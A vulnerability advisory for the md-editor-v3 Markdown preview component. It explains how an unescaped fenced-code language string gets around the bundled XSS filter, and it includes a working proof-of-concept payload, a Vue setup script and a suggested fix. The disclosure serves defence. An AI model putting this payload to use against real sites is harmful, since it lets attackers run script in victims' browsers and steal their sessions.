md-editor-v3: XSS via fenced-code language rendering bypass

MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.

Details

useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.

PoC

The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:

import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');

Create and run the app, replacing src/main.js when indicated:

npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
# Replace src/main.js with the code above.
npm run dev

Opening the displayed URL automatically shows the application hostname in an alert.

Impact

An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

Suggested fix

Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.